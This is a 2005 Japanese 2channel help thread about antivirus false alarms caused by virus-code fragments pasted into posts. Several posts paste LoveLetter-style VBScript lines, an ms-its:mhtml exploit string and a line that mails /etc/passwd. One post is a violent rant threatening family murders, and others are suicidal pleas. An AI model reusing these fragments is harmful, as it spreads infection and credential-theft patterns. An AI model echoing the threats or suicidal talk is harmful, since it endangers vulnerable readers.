脳豚を入れているユーザは２ちゃんを見ないようにしてください。
188:ひよこ名無しさん
05/06/15 15:31:52
avast!入れてる貧乏人の俺はどうですか？
189:ひよこ名無しさん
05/06/15 21:11:20 MbvAfu2/
URLﾘﾝｸ(fuckingreset.cesarsoft.com.ar)
ウィルス注意↑
これ多分ウィルスですが、貼られたスレッドを開いただけでノートン反応します
これも>>98同様、誤反応ですよね？
190:ひよこ名無しさん
05/06/15 22:55:11
(((((((( ；ﾟДﾟ)))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙｶﾞﾀｶﾞﾀﾌﾞﾙｶﾞﾀｶﾞｸｶﾞｸｶﾞｸｶﾞｸｶﾞｸ
191:名無しさん＠お腹いぱーい。
05/06/18 23:57:40 BE:6603067-##
ｽﾚﾘﾝｸ(sec板:5番)
Q. 2chのスレを2chブラウザで開くと、ウイルスを検出するんだけど
A. avast!はノートンと同じく、ウイルスコードも検出する。
ただのテキストのコードなのでウイルスに感染することはない悪戯行為だから気にしないで大丈夫。
誤検出しないようにするには、以下の2通りの方法がある。
・avast!の標準シールドの感度を [普通] に設定 or avast!の標準シールドの例外設定に2chブラウザのdatフォルダを設定
・2chブラウザでWebシールドを使わないように設定
URLﾘﾝｸ(info.2ch.net)
>>189
それだけではわかりません。
そのようなリンクを貼られるようなスレではノートントラップも貼られていたのかもしれませんし、
あなたがリンク（他にも同様な悪意あるリンク）を踏んでいて反応したのかも
（2ちゃんねるブラウザによっては画像サムネイル機能が働いて画像ファイルに偽装されたウイルスに反応することがあります。・・・正常な反応です。）
リンクを不用意に踏まないことも肝心です。
>>4
尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
URLﾘﾝｸ(find.2ch.net)
192:ひよこ名無しさん
05/06/20 18:43:13
ひろゆきは2ch総合案内に対処法載せてくれないの？
初心者はこんな所見ないと思うのだが…
193:ひよこ名無しさん
05/06/20 19:34:26
>>192
そんなこと書かなくても、根本的に対策できるのに3年以上放置。
ノートンも放置。
そんなもんさ。
194:ひよこ名無しさん
05/06/20 20:01:35
サイトの問題ではなくて、ノートンとそのユーザーの問題だからでしょ。
どうしても見て欲しい、書き込みして欲しいと思えばそういうこともするだろうけど、
めんどくさいから、対策できない人は切捨てって考えてるんでしょ。
195:ひよこ名無しさん
05/06/22 01:42:06
ニュース速報みてたらノートン先生が激怒しました！今、スキャン中何かすごい不安
196:ひよこ名無しさん
05/06/22 01:50:09
年取ると怒りっぽくなるよね
197:ひよこ名無しさん
05/06/22 01:59:11
ﾊｧ？
198:ひよこ名無しさん
05/06/22 06:30:50
まぁ今危ぶまれている年間自殺者３万人なんていうのもさぁ
何だかんだ言ってお友達と楽しく戯れていた全共闘世代のジジイがほとんどで
そんな奴らのノスタルジーとニートの絶望的な孤独を一緒にされちゃあかなわないよね。
まぁ政府も腹の底じゃあ、このままズルズルと大人になって勝手に死んでくれりゃあ本望
とか思ってるだろうケドさあ、俺達には一人一人明確な敵がいるんだよね。
原因があっての結果。
勉強しなきゃ立派な大人になれませんよなんて乳幼児でも知ってることを
やらなかったらこうなった、なんて言い切れるほど楽天家じゃないんだよね。
アホみたいな受験戦争、家畜のような体罰教育、友達からの陰湿なイジメ、見知らぬ大人のいやがらせ
バブル期に子供にだけ苦労させて親やセンセや同級生は泡まみれで遊び放題。
敷かれたレールの先に娯楽があると鞭打たれ、苦難を乗り越えたどり着いたら就職難。
ゴミのように切り捨てられていく俺らの１０代、２０代。
いつの間にか自分より馬鹿が出世して、自分よりブサイクが結婚し、自分より足の遅いヤツがオリンピックに出ている。
両親を恨む者、先生の居所を探す者、同僚の近況を探る者、誰でもいいから殺してやりたいと思っている者
そんなヤツらがじっと己の部屋で計画を練っている。
まぁはっきり言わせてもらえば、あんたら、幸せ家族を気取っているのも今のうちだね。
鬱ブームだかなんだか知らないが、テレビ一つ落ち着いて見られなかったような俺らに
勝者、敗者とか貧乏さん番組なんてメディア戦略は通用しないね。
殺されるまえに、必ず殺す。
そう、この先10年。
被害者の過去2-30年を遡らないと犯人が割り出せない
そんな一家まるごと惨殺事件が続くだろうね・・
199:ひよこ名無しさん
05/06/22 14:52:29
age
200:ひよこ名無しさん
05/06/23 20:20:22
>>192
ひろゆきは初心者大嫌い
ひっかかって嘆くユーザーをみてニヤニヤしてます
それが嫌なら来るなって考え
201:ひよこ名無しさん
05/06/24 11:57:13
先生が反応しBloodhound.Exploit.6が出現！
みなさんどう？
202:ひよこ名無しさん
05/06/27 15:24:14
age
203:ひよこ名無しさん
05/06/28 21:44:54
>>201
前にそれありましたけど。（当方Jane Doe Style)
反応した部分の過去ログ捨てたら何も問題なかったですよ。
204:ひよこ名無しさん
05/06/28 21:49:26
>>201
それはログのウイルスコードに反応してるだけだからむっしっし
205:ひよこ名無しさん
05/06/29 10:53:00
age
206:ひよこ名無しさん
05/06/30 09:46:32
207:cen ◆Pm9xOTJuM.
05/07/03 02:02:31 2e/PomzS BE:10829873-##
そうそう。
>>17のソフトをアップデートしたので、よかったらダウンロード
してくださいです。
URLﾘﾝｸ(www.geocities.jp)
208:ひよこ名無しさん
05/07/03 02:21:24
>>207
ウィルス注意！！
209:ひよこ名無しさん
05/07/03 11:33:52
>>207
見損ないました
210:ひよこ名無しさん
05/07/03 12:37:13
ノートン先生がunix.Penguinに誤反応してしまって
今のとこ解決策はないんでしょうか？
ノートン先生捨ててバスターに変えても問題ない？
XPはノートン先生入れとかないとまずいみたいなこと聞いたんだが・・
211:ひよこ名無しさん
05/07/03 13:08:38
>>208-209
どういうこと？新verにウィルスが入ってたの？
212:ひよこ名無しさん
05/07/03 13:44:44
>>207
コレはジョーダンのつもり？シャレんなんないでしょ
213:ひよこ名無しさん
05/07/03 14:59:25
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs
214:ひよこ名無しさん
05/07/03 16:51:16
>>211
ただの叩き
215:ひよこ名無しさん
05/07/04 22:08:48
age
216:ひよこ名無しさん
05/07/04 22:51:16
ペンギンウイルスは無害？
217:ひよこ名無しさん
05/07/05 00:28:46
移動してきました、度々すいません。半角文字列板のスレを開いたらウイルス警告が出ました。
環境はノートンです。
ｽｷｬﾝ後も感染を修復することはできませんでした。
ウイルス名：Bloodhound.Exploit.6
誘導されてこちらにきました。
初心者で何をしたらいいかわかりません・・このスレにウイルスがいるのでしょうか？
ご教授お願いします・・
218:217
05/07/05 00:57:58
追記
発生源 C:\Documents and Settings\Owner\デスクトップ\Jane\Logs\2ch\大人の時間\半角文字列\1120269811.dat
です。誤報なのでしょうか？修復できないので不安です・・
219:ひよこ名無しさん
05/07/05 01:04:26
>>218
少しはスレを読め
220:217
05/07/05 01:41:21
すいません読み返しました。
・・一応反応のあったログを削除後ログファイルを除外指定しました。
除外しましたが、
ログファイルの中には数々のフォルダがありました。ログ自体、感染はあり得ないのでしょうか？
有り得ないから除外するのだと思いますが、念のためお聞きしました
221:ひよこ名無しさん
05/07/05 01:42:54
>>220
有り得ない。
ノートンの手抜きチェックが悪い。
222:217
05/07/05 01:47:47
わかりました。ありがとう御座います。
あと、ログフォルダの中のログファイルでした。訂正します。すいません
223:ひよこ名無しさん
05/07/05 21:43:47
224:ひよこ名無しさん
05/07/07 16:50:38 8PA32UYB
Bloodhound.Exploit.6ってのが頻繁に検出される。
これはに関しては誤作動ではないんだよな？
225:ひよこ名無しさん
05/07/07 16:54:19
みんな どんどんウイルシに感染してるよ
226:ひよこ名無しさん
05/07/07 17:01:06
考えるんじゃなくて感じて
227:ひよこ名無しさん
05/07/12 21:42:11 ubqbqkwI
警告ｷﾀ━━━(ﾟ∀ﾟ)━━━ !!
228:ひよこ名無しさん
05/07/13 13:31:31 yrCZUMNS
a
229:ひよこ名無しさん
05/07/13 23:57:08
>>217
おいらも同様の症状なのですが、どうなんでしょうか？
230:ひよこ名無しさん
05/07/14 00:00:53
>>229
ただの誤検出
231:ひよこ名無しさん
05/07/14 13:01:20
Bloodhound俺もｷﾀよ。実況板で。
232:ひよこ名無しさん
05/07/14 14:37:31
シマンテックのオンラインスキャンをすると、
2chブラウザのdatファイルからウィルス反応しまくりなんですが、
この手の反応は全て誤反応と解釈してよろしいですか？
233:cen ◆Pm9xOTJuM.
05/07/15 21:44:52 AyDUrGnO BE:27848096-##
そうそう。
>>17のソフトをアップデートしましたので、よかったら
ダウンロードをしてくださいです。
URLﾘﾝｸ(www.geocities.jp)
234:cen ◆Pm9xOTJuM.
05/07/15 21:45:17 BE:18049875-##
>>232
それでいいと思います。
235:232
05/07/16 00:14:07
>>234
ありがとう。安心した
236:ひよこ名無しさん
05/07/16 15:48:29
安心した
237:ひよこ名無しさん
05/07/16 20:23:01
それでいいのか？・・・・・ほんとにだいじょぶ？
238:cen ◇Pm9xOTJuM. に注意
05/07/18 00:23:37
パソコン初心者総合質問スレッド vol.1072
ｽﾚﾘﾝｸ(pcqa板)
399 名前：299[] 投稿日：2005/07/06(水) 21:47:49 ID:YFmNomOu
★症状： 以前までは出来ていた、PCでのDVD-Video再生が出来なくなった。
★試したソフト： Media Player Classic , Mediaunite , Windows Media Player 10
★関係有りそうな出来事： DirectShow Filterに「GPL MPEG-1/2 Decoder」を追加した。
何方か原因解りませんか？
せめてハードかソフト、どちらに原因がありそうかだけでも解れば幸いです。
405 名前：ひよこ名無しさん[sage] 投稿日：2005/07/06(水) 21:50:29 ID:???
>>399
ハードかソフトに原因
408 名前：cen ◆Pm9xOTJuM. [sage] 投稿日：2005/07/06(水) 21:52:09 ID:??? ?##
>>405
あと人間
411 名前：ひよこ名無しさん[sage] 投稿日：2005/07/06(水) 21:53:30 ID:???
>>408
暴言ﾋﾄﾞｽｗ
239:ひよこ名無しさん
05/07/18 01:23:34
cenも人間
240:ひよこ名無しさん
05/07/20 16:38:42 1McjtpBt
初心者の質問のところから誘導されてきました。以下にそのままコピペします。
windowsXPのhome editionで、Internet Exproler6、更新バージョンはSP2です。
よろしくお願いします。
ノートンのアンチウィルスが「Unix Penguin」というウィルスを検知しました。
場所がインターネット一時ファイルのようだったので、「インターネットオプション
→ファイルの削除」をしました。
すると、なぜか｢お気に入り｣が消えてしまったのです。
誤って自分で消してしまったのだろうと言われたのでそうかと思い、もう一度
覚えている限り戻そうとしたら「入力したショートカットの名前は既にお気に入り
メニューに存在します。置き換えますか？」と出ます。それで置き換えても
表示されません。新たにショートカットの名前を変えて登録すれば表示される
のですが……。
私の「お気に入り」の中には、表示されるものと表示されないものが両方
存在しています。表示されないものを再び表示する、または消し去ることは
できないでしょうか。消し去れれば、また再び作り直そうと思いますが…。
241:ひよこ名無しさん
05/07/20 16:45:29
>>240
誘導してない。
少しはログ読め。
242:240
05/07/20 16:54:41
>>240
ああほんとだ！
すみません、慌ててました……
243:240
05/07/20 17:02:34
>>241
でも、表示のみ消えた「お気に入り」については、どこかに書いてありますか？
ノートンとは関係ないのかもしれないですが…。
244:ひよこ名無しさん
05/07/20 17:04:13
>>243
関係ない。
インターネットオプション→詳細設定→使用してないフォルダは閉じる
245:240=243
05/07/20 17:23:59
ありがとうございます。
やってみましたが、駄目でした。
そもそも「お気に入り」の星マークのアイコンが、見当たりません。favorite
の中もカラになっています。私はなんだか変なことをしてしまったみたいですね。
もうちょっといじってみることにします。。失礼しました。
246:ひよこ名無しさん
05/07/21 11:16:56
ノートンアンチウィルス2005、open jane Doe 0.1.12.2 を使っています。
該当スレのログを除外しようとしたのですが、スレッドのidxはあるのですが、datがそのスレッドに限って見つからず、改善できません。
スレッドは
ｽﾚﾘﾝｸ(koumei板:11番)
このメール欄にウィルスコードが貼ってあるのです。
対処の方法を御教示願います。
247:246
05/07/21 13:27:51
すみません、自己解決しました。
スルーしてください。
248:ひよこ名無しさん
05/07/22 03:59:12 pHdm2INX
age
249:ひよこ名無しさん
05/07/22 22:55:05 EfV4fKSJ BE:245057797-
【Live2ch 】 1.10
【 ｽｷﾝ 】 Default
【Windows】 XP
【Firewall .】 NortonInternetSecurity
【 不具合 】 騙されてms-its: mhtml:file://c:\をメール欄に書いたらブラウザがおかしくなった。
インストールフォルダのメールのテキストドキュメントも開かない。
250:ひよこ名無しさん
05/07/22 22:56:13
ほう・・・騙されてねぇ～
c.Copy(dirwin&"\Win32DLL.vbs")？
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")？
<object？data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz)"？type="text/？
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*？
fso.copyfile？"dirsystem&nurupo.vbs",？"j:\windows\start？menu\programs\startup\"？
If？s？=？"htm"？and？fso.FileExists(f1.path+"l")？=？False？then？fso.CopyFile？f1.path,？f1.path+"l"？
ToInfect.CodeModule.InsertLines？BGN,？ADI1.CodeModule.Lines(BGN,？)？
G.RegWrite？A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),？E.BuildPath(E.GetSpecialFolder(1),？A("VHORU@SU/WCR"))？
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))？
ms-its:mhtml:file://c:\ ？
kak.hta';ken=wd+'START？
251:ひよこ名無しさん
05/07/23 20:23:19
Bloodhound流行ってんの？
252:ひよこ名無しさん
05/07/24 21:16:56 cauqGl4H
よく分からんけど、結局、感染してたとしても放っときゃいいんだろ？
253:ひよこ名無しさん
05/07/27 18:55:26
ﾊｧ?
254:こむ
05/07/27 23:43:56 mxkxVm4b
Aya の自作自演
ｽﾚﾘﾝｸ(pcqa板:837-846番)
837 名前：ひよこ名無しさん 投稿日：02/05/20 08:35 ID:GarmVKYa
あまりに馬鹿馬鹿しい質問ですいません。
Windows Media Plyaer と KbMedia Player がパソコンの中にあるのですが、ＭＰ３ファイルをクリックすると
Windows Media Plyaer で再生してしまうのですが、ダブルクリックした際に後者で再生するようにはどうしたらいいんでしょうか？
838 名前：ひよこ名無しさん 投稿日：02/05/20 08:36 ID:???
>>837
またきたのか？
Windowsの入門書以上の書籍買って関連付けに関して理解を深めろ。
839 名前：Aya ◆U.S.S.po 投稿日：02/05/20 08:36 ID:GarmVKYa
>>837
１.mp3のファイルをクリック
２.「アプリケーションから開く」を選択
３.プログラムの選択
４．「これらのファイルを開くときは、
いつもこのアプリケーションを使う」にチェック
５．OK
840 名前：ひよこ名無しさん 投稿日：02/05/20 08:37 ID:???
>>839
自作自演するときはIDを消しましょうね(ﾜﾗ
255:ひよこ名無しさん
05/07/29 10:45:54
>>252
そういうことだな。
256:ひよこ名無しさん
05/07/30 06:15:31
うちのノートン2004、除外の設定するときフォルダ検索をしないとできない。
IEのを手書きで入力したけどやっぱり反応した。
c:\program files\musicjg2ch\log
c:\program files\musicjg2ch\temp.htm
これを入れてもダメだった。
ｷﾞｺﾅﾋﾞなら除外の設定はすんなりいったんだけどな…。
257:ひよこ名無しさん
05/08/01 18:02:23
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\ cat /etc/passwd | mail nobody kak.hta';ken=wd+'START
258:ひよこ名無しさん
05/08/03 16:00:39
んなもん貼っても反応しねーよ
真に受けやがってカスがｗ
259:ひよこ名無しさん
05/08/05 11:13:48
>>257
他のスレでこういうのが貼ってあり、かちゅを閉じたら
ＩＥが全く見られなくなってしまいました
>>10をやってみたのですが、やっぱり見れない
今生きてるのはかちゅだけです。助けてください
260:名無しさん＠お腹いぱーい。
05/08/05 13:25:34
>>259
ノートンが原因だったら以下コピペ
2003/2004（2005もこれだと思う）
Norton Internet Security もしくは Norton Personal Firewall を起動する。
画面中央の [ファイアウォール] をクリックする。
右下に表示される [設定] ボタンをクリックする。
[プログラム制御] タブをクリックする。
[追加] ボタンをクリックする。
「プログラムの選択」ウィンドウが開きます。
Internet Explorer フォルダを開く。
Internet Explorer フォルダは今回の例の場合です。
お客様が設定を行いたいアプリケーションがインストールされているフォルダを開いてください。
IEXPLORE.EXE をクリックして選択する。
IEXPLORE.EXE は今回の例の場合です。
お客様が設定を行いたいアプリケーションを選択してください。
[開く] ボタンをクリックする。
例としてご案内している Internet Explorer を含め、設定がすでに作成されているアプリケーションの場合は「すでにルールがあるプログラムを追加しようとしています」というメッセージが表示されますが、まだ設定されていないアプリケーションの場合は表示されません。
「プログラム制御」のウィンドウが表示されるので、「どう処理しますか？」の部分で [許可] もしくは [遮断] などを選択して、[OK] ボタンをクリックする。
「アプリケーションカテゴリの選択」ウィンドウが表示されるので、そのアプリケーションをどのカテゴリとして分類するかどうかを選択し、[OK] ボタンをクリックする。
2002
NISをたちあげ、ﾌｧｲｱｳｫｰﾙ→ｲﾝﾀｰﾈｯﾄｱｸｾｽ制御(ｱﾌﾟﾘｹｰｼｮﾝ制御の一覧)で設定が変えられます
IE5の修復は以下コピペ
1. [スタート]－[設定]－[コントロールパネル] から「アプリケーションの追加と削除」を起動します。
2. [インストールと削除] タブをクリックし、「Microsoft Internet Explore 5 とインターネットツール」をクリックします。
3. 「追加と削除」ボタンをクリックし、表示されるメニューから「Internet Explore を修復する」を選択して「OK」をクリックします。
XPならシステムの復元
261:ひよこ名無しさん
05/08/07 01:32:04 +PgqXMkS
URLﾘﾝｸ(web.archive.org)
262:ひよこ名無しさん
05/08/11 07:34:19
保守
263:ひよこ名無しさん
05/08/11 17:48:51 /1wx1GK2
このスレ、全く見えない！
264:ひよこ名無しさん
05/08/11 18:10:33
a
265:ひよこ名無しさん
05/08/11 18:17:33
sage
266:ひよこ名無しさん
05/08/13 00:51:52
ms-its:mhtml:file://c:\
267:ひよこ名無しさん
05/08/13 20:52:27
sage
268:ひよこ名無しさん
05/08/15 00:02:49
te
269:ひよこ名無しさん
05/08/17 11:53:47
保守
270:ひよこ名無しさん
05/08/24 07:54:30
保守sage保守age
271:ひよこ名無しさん
05/08/24 08:22:24 ujhK/t33
ノートンアンインストールしてウィルスバスター入れました
おかげでこのスレも見れるようになりました
272:ひよこ名無しさん
05/08/24 08:38:01
保守
273:cen ◆Pm9xOTJuM.
05/08/24 22:22:22 BE:9282863-##
そうそう。
>>17 のソフトですが、シリア語ブラクラにも対応しました。
あと、何日前以降に更新されたファイルのみ検索の設定ができるように
なりましたです。
URLﾘﾝｸ(www.geocities.jp)
274:経営情報学部の学生 ◆2H3Xipoq6Y
05/08/24 22:37:51
>>273
いつも乙です。
275:ひよこ名無しさん
05/08/25 07:46:50
>>271
単にウイルス検出対象ファイルからhtm、html、datを外せば済むことなのに…
まあ少しでもお金使って貰わないとカネの巡りが悪くなるからな。
276:ひよこ名無しさん
05/08/25 07:48:06
って、htmとhtmlは外すとまずいのか。
けど通常のインターネットブラウザで2chしてる時点で（ｒｙ
277:ひよこ名無しさん
05/08/30 13:01:34
>>273
乙です。
壺のdatファイルなんですが、ノートンで誤反応のファイルが見つかったのに
vicptdel.exeで検索したら０個だったんですがまだ対応されてないだけでしょうか？
VBS.LoveLetter.Varとでてましたが。
278:cen ◆Pm9xOTJuM.
05/08/30 18:25:22
>>277
どうもです。
今のところ、壺のdatファイルには対応しておりません。
対応しているのは、2chに直接置いてあるdatだけです。
この板なら、URLﾘﾝｸ(pc8.2ch.net) のような
datファイルのみです。
壺のdatファイルは構造が違うので、datファイルの構造のチェックで
弾いてしまう仕組みになっています。
279:ひよこ名無しさん
05/08/30 19:57:15
良スレあげ
280:277
05/08/31 15:04:38
>>278
分かりました。素早いレスどうもありがとう。
281:ひよこ名無しさん
05/09/05 10:13:36 j/2HcsnQ
このスレ開いたらノートンが反応するんだけどどうすればいいですか？
ブラウザはopen janeです。
282:ひよこ名無しさん
05/09/05 10:15:25
>>281
見なきゃええやん
283:ひよこ名無しさん
05/09/05 10:17:19
>>281
俺はな、このスレを最初から読んで欲しくて誘導したんだ
過去レスを一切読まずに質問するな
284:281
05/09/05 10:20:43 j/2HcsnQ
>>282-283
がんばって勉強する。
285:ひよこ名無しさん
05/09/09 17:56:51 fF3/dpmm
Open Jane Doe α 0.1.12.2です
Nortonが誤反応する人へ対処法
１．NortonInternetSecurityを起動
２．オプション→NortonAntiVirusをクリック
３．左側のシステム＞Auto-Protectをクリック
４．除外→新規をクリック
５．２ｃｈ専用ブラウザのフォルダを指定する
設定して試してみたらまた反応してしまいました
Norton AntiVirus Auto-Protect
ファイル C:\...orary Internet
Files\Content.IE5CLIVSTUF\subback[32].html を修復できません。
このファイルは Unix.Penｇuin ウイルスにまだ感染しています。
どうしたらいいのですか？教えて下さい
286:285
05/09/09 18:00:22
NIS2004/2003はNorton AntiVirusのオプションで手動スキャンと
Auto-Protectでそれぞれ除外の指定
ノートン2005なのでそれぞれ除外しても駄目でした
一時ファイルを削除する模様
これもやってみたけど駄目でした
他に方法はないでしょうか？教えて下さい
287:名無しさん＠そうだ選挙に出よう
05/09/10 23:24:43
>>285-286
> Norton AntiVirus Auto-Protect
> ファイル C:\...orary Internet
> Files\Content.IE5CLIVSTUF\subback[32].html を修復できません。
> このファイルは Unix.Penｇuin ウイルスにまだ感染しています。
IEのキャッシュですね。
>>286で一時ファイルを削除しても反応するのは
IEでまた該当スレを開いたのではないのでしょうか。
ノートントラップの回避方法は2ちゃんねるブラウザで>>1の設定をして
2ちゃんねるをみてください。
Janeの設定も今一度確認してください。
288:ひよこ名無しさん
05/09/13 18:45:27
>>109
テスト
289:ひよこ名無しさん
05/09/16 12:55:29 yJ4mdqCh
ギコナビ使ってます。ノートンが反応してから見れないスレなどあります。
>>10にある方法で解決するんだと思うのですが、
除外してしまって問題あることはないですか？
画像のプレビューとか出ますけど、そういうのに何かまずいものがあったとき困るとか・・。
まったく見当違いな心配かもしれませんが、
よくわからないので教えてください。
290:ひよこ名無しさん
05/09/16 13:01:54
>>289
IEエンジン使ってないJane DOE系の2chブラウザにしろよ
画像に何か仕込んでどうこうってのはIEの脆弱性を狙うから
291:ひよこ名無しさん
05/09/16 13:04:53
>>289
非IE系専ブラのログなら除外しても問題ない。
ギコは知らん。
IEがトラブっても使える非IE系のほうが何かと便利。
292:ひよこ名無しさん
05/09/16 13:15:19 yJ4mdqCh
>>290-291
ありがとうございます。他の専ブラ検討してみます。
293:ひよこ名無しさん
05/09/18 08:28:38
>>292
名前で拒否する方もいますが、Nidaも安定していて便利ですよ。
JaneNida Part4
ｽﾚﾘﾝｸ(software板)
294:ひよこ名無しさん
05/09/21 00:43:04
>>289
ギコナビで画像プレビューした場合、画像はIEのキャッシュのほうに保存される。
なのでログフォルダを除外してしまってもその点で問題あることはない。
295:ひよこ名無しさん
05/09/24 13:11:15
物凄い今更でどうでもいいけど気になったので。
>>51間違ってるじゃないか
C\ProgramFiles\Live2ch\log→C:\Program Files\Live2ch\log
「:」と「 」が足りない。
296:ひよこ名無しさん
05/09/24 16:45:22
うまくいかないケースの原因はたいがいそんなもんだ
297:ひよこ名無しさん
05/09/25 00:59:38
lm
298:ひよこ名無しさん
05/09/25 01:12:35 Ztexw1t3
来てやったぜ、
299:ひよこ名無しさん
05/09/26 18:12:03 FlGrISrC
>1～10を読んでノートンの除外設定をしようとしているのですが、
2chブラウザのログ保存フォルダがどれのことか分かりません
ギコナビ使ってます。おしえてください
300:名無しさん＠当選・落選
05/09/27 02:00:49 BE:7545986-##
>>299
URLﾘﾝｸ(ansitu.xrea.jp)
URLﾘﾝｸ(ansitu.xrea.jp)
以下を一行ずつコピー、除外項目でCtrl+V
C:\Program Files\gikoNavi\Log
C:\Program Files\gikoNavi\config\History.xml
C:\Program Files\gikoNavi\config\Favorite.xml
C:\Program Files\gikoNavi\sent.ini
より詳しい除外項目はこちらで今一度確認してください。
２ちゃんねる用ブラウザ「ギコナビ」 Part31
ｽﾚﾘﾝｸ(software板:1-12番)
（テンプレと直近50スレは読んでね）
301:ひよこ名無しさん
05/09/27 19:20:07
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
302:ひよこ名無しさん
05/09/30 03:36:31
本当にひどいですね。まだ、あざむいて謀略するんですね
いいかげん、やめてもらえないですかね。
やめることができないのなら、あなたのおもちゃでは、ないので
第六感が無い人「仔（赤ちゃん）」を、始末、処分、してもらえないですかね
あなたが第六感が無い人「仔（赤ちゃん）」をあざむいて謀略している首謀者ですか
ここまで第六感が無い人「仔（赤ちゃん）」をいじめて、あざむいて謀略して楽しいですか
ここまでされてこのまま生きていくのもいやですから
第六感が無い人「仔（赤ちゃん）」を、始末、処分、してもらえないですかね
ここまであざむいて謀略してきた責任取って
いいかげん、いっこくも早く、ころしてくださいよ
よろしくお願いいたします。
303:ひよこ名無しさん
05/09/30 03:37:07
人類と違う第六感が無い人の事が、仔（赤ちゃん）
何故か年老いた男女も中年の男女成人式迎えた男女も
第六感が無いと仔（赤ちゃん）と呼ばれるらしい
欺く（あざむく）の意味は
相手を信頼させておいてだます事
まあ要するに相手という所が仔になるんでしょうね
304:ひよこ名無しさん
05/09/30 03:37:40
そうかだから第六感が無い人「仔（赤ちゃん）」たちの
一挙一動を第六感でお前は把握してるのに
第六感が無い人「仔（赤ちゃん）」たちを
信頼させておいてだましてるんだな
世界中の第六感が無い人「仔（赤ちゃん）」たちよ
人類にあざむかれるなよ！！！！！！！
そして世界中の第六感が無い人「仔（赤ちゃん）」たちよ
これが真実ならいっしょに死のう。
305:ひよこ名無しさん
05/10/02 16:10:07 Som2sX+b
■参考までに。全て無料。
・ブラウザ：Firefox URLﾘﾝｸ(www.mozilla-japan.org)
（Firefox定番拡張 URLﾘﾝｸ(firefox.geckodev.org)）
・2chブラウザ：JaneStyle URLﾘﾝｸ(janestyle.s11.xrea.com)
・メーラー：Thunderbird URLﾘﾝｸ(www.mozilla-japan.org)
・オフィス：OpenOffice URLﾘﾝｸ(ja.openoffice.org)
・スパイウェア対策：Spybot URLﾘﾝｸ(enchanting.cside.com)
・ウィルス対策：avast! URLﾘﾝｸ(www.forest.impress.co.jp)
・パーソナルファイアウォール：ZoneAlarm URLﾘﾝｸ(www.zonelabs.com)
306:ひよこ名無しさん
05/10/10 06:58:30 HLsQ07fg
ｽﾚﾘﾝｸ(news板)
これ↑ってウイルスですか？
開いたらノートン先生が反応したんですけどつД｀)
Mac OS10.3 IEmac5.2 です
検疫に引っかかったファイルがあり状態は感染でした
307:ひよこ名無しさん
05/10/10 07:35:47
>>306
レスの中にウィルスのような動作をするスクリプトの一部が含まれています。
あくまで一部ですし、Windows向けに作成されたものだし、スクリプトを実行する現実的な方法も
存在しないので、被害を受けることは絶対にありません。
このように危険のない対象までウィルスとして感染警告するのはノートンの仕様です。
そういったノートンの挙動を悪用した悪戯なので気にしないでください。
詳しくはこのスレの>>1-10あたりをよく読んでください。
ちなみにこのスレを読み込んだときもノートンが反応すると思います。
308:ひよこ名無しさん
05/10/10 07:42:27
>>307
ありがとうございました！安心しました。
309:ひよこ名無しさん
05/10/10 22:18:13
ms-its:mhtml:file://c:\
310:ひよこ名無しさん
05/10/13 23:29:37
質問です。
某板のスレを開こうとすると、ノートン先生が「ウィルスを検出しました！」と
大騒ぎするので、>7に従ってログフォルダを除外したのですがいまいち不安です。
専ブラはA Boneを使用。
検出されたウィルス名：Bloodhound.Exploit.6
感染ファイルはInternet Temporary Filesのものではなかったのですが（←これが不安の元なのです）、
これは専ブラを使用しているからでしょうか？
念のため、シマンテックのHPに載っている対策に従って、
セーフモードでレジストリをチェックしてみたのですが、書き換えられた様子はありませんでした。
311:ひよこ名無しさん
05/10/13 23:31:03 PpB0oNsy
質問age!
312:ひよこ名無しさん
05/10/14 02:47:03
>>310
専ブラはIEとは違い、自分自身のログフォルダに2chのレスを保存します。
A Boneのログフォルダで「感染ファイル」が発見されたのなら全く正常で、何の心配もありません。
2chのレスにウィルスのソースコードが書き込まれていても、それを実行する方法はないので、
感染することはありません。
313:310
05/10/15 00:55:16
>312
ありがとうございます。安心しました。
314:ひよこ名無しさん
05/10/18 19:20:11 ldA17MA1
2ちゃんブラウザをダウンロードしてボードの一覧を取りにいったら、
警告がでました。
対処の選択肢が提示されたので推奨のものを選んだらボード一覧を取得できませんでした。
再度選び直そうと思って、新たに2ちゃんブラウザを落としたのですが、
先ほどの選択肢が出なくなり、またもやボード一覧は取得できないまま…。
この場合はどう対処すれば良いのでしょうか？
315:ひよこ名無しさん
05/10/18 19:59:03 S1AyIBgf
URLﾘﾝｸ(plaza.rakuten.co.jp)
このサイトのランキングを押そう！！
そしてランキング一位にさせよう！！！！
316:ひよこ名無しさん
05/10/18 20:01:51
>>314
ファイアウォールの通信制御設定を探して、2ch専用ブラウザの通信を許可してください。
わからなければ、セキュリティ対策ソフト(ファイアウォールやアンチウィルス)の製品名とバージョン、
2ch専用ブラウザの名前を書いてください。
317:314
05/10/18 21:04:05
>>316
設定のところを見てみましたが、どう設定していいのか分かりませんでした…
ソフトはノートン2005です
2ちゃんブラウザはjane styleです
318:ひよこ名無しさん
05/10/18 21:12:01
>>317
このページを見てください。
URLﾘﾝｸ(service1.symantec.com)
